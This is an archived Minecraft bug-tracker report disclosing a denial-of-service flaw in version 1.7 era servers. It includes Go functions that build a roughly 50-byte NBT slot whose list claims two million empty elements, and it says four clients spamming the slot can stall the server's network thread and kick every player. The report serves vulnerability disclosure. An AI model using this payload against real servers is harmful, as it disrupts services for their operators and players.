Mojira Archive
MC-92512

Slowing down/crashing server network threads

Works in 1.7, not tested on 1.8 or newer versions
Sending NBT TAG_list tags of TAG_end in packet window click (or another) creates ability to slow down the server netty thread.
The compressed nbt slot weighs about 50 bytes and is easy to create spam.
To kick all players from the server it only requires 4 clients (with some probability).

Writing slot in Golang:

func WriteExploitSlot(w io.Writer){
    TagIdAndName(10, "", w)
    WriteExploitList("ench", w, 2000000)
    WriteInt8(w, 0)
}
func WriteExploitList(name string, w io.Writer, size int){
    TagIdAndName(9, name, w)
    WriteInt8(w, 0)
    WriteInt32(w, int32(size))
}
func TagIdAndName(id int8, name string, w io.Writer){
    WriteInt8(w, id)
    WriteInt16(w, int16(len(name)))
    w.Write([]byte(name))
}

Awaiting Response

7ERr0r

2015-11-11, 05:03 AM

2018-10-02, 11:25 PM

2018-10-02, 11:25 PM

0

2

Unconfirmed

Minecraft 1.8.8, Minecraft 15w45a, Minecraft 15w46a

-